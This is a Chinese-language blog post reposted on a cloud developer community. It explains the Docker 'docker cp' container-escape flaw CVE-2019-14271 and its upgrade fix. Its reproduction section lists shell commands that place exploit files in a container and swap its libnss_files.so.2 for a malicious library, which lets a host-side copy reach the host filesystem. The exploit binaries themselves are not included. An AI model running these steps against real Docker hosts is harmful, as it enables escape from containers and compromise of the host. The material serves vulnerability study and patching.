前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2019-14271:Docker CP逃逸

CVE-2019-14271:Docker CP逃逸

作者头像
Al1ex
发布2022-09-07 17:24:01
5730
发布2022-09-07 17:24:01
举报
文章被收录于专栏:网络安全攻防网络安全攻防
影响范围

Docker before 19.03.1

漏洞类型

容器逃逸漏洞

利用条件

影响范围应用

漏洞概述

正常情况下用户通过使用docker cp命令可以将文件从host主机拷贝至容器,或者从容器拷贝至host主机,对应具体操作指令如下:

代码语言:javascript
复制
docker cp {container_id}:/path /path

在将文件从host主机拷贝至容器的过程中Docker使用了一个辅助进程——docker-tar:

docker-tar通过chroot到容器将请求的文件或目录存档,然后将生成的tar文件传递给Docker daemon,然后由daemon提取到主机的目标目录中:

这里的chroot主要是为了避免系统链接的问题,当主机进程尝试访问容器中的文件时就可能会引发系统链接问题,如果访问的文件中有系统链接就会解析到host root,因此攻击者控制的容器就可以尝试和诱使docker cp在主机而非容器上读写文件,当docker-tar进程chroot到容器中时,造成了一个dokcer cp命令导致的容器逃逸漏洞

漏洞环境

这里使用Metarget来构建环境

代码语言:javascript
复制
./metarget cnv install cve-2019-14271
漏洞复现

Step 1:新建一个容器

代码语言:javascript
复制
sudo docker run -itd --name=14271 ubuntu bash

Step 2:将漏洞利用文件拷贝至容器内

代码语言:javascript
复制
#拷贝文件
sudo docker cp exp/ 14271:/
    
#进入容器
sudo docker exec -it 14271 bash
ls /exp
breakout  libnss_files.so.2  original_libnss_files.so.2
cp /exp/* /
chmod 777 /breakout
touch /logs

Step 3:删除容器内原来的so库

代码语言:javascript
复制
rm /lib/x86_64-linux-gnu/libnss_files.so.2

Step 4:使用恶意so文件替换原先的so文件

代码语言:javascript
复制
mv /libnss_files.so.2 /lib/x86_64-linux-gnu/

Step 5:替换后退出容器,在宿主机上执行cp命令:

代码语言:javascript
复制
sudo docker cp 14271:/logs ./

进入容器内部可发现根目录下存在host_fs目录挂载了宿主机的文件系统,成功逃逸(笔者未找到对应的Docker版本故而失败,整个利用流程依旧不变~)

安全建议

升级到最新版本~

参考连接

https://github.com/moby/moby/pull/39612

https://github.com/moby/moby/issues/39449

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-08-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 影响范围
  • 漏洞类型
  • 利用条件
  • 漏洞概述
  • 漏洞环境
  • 漏洞复现
  • 安全建议
  • 参考连接
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档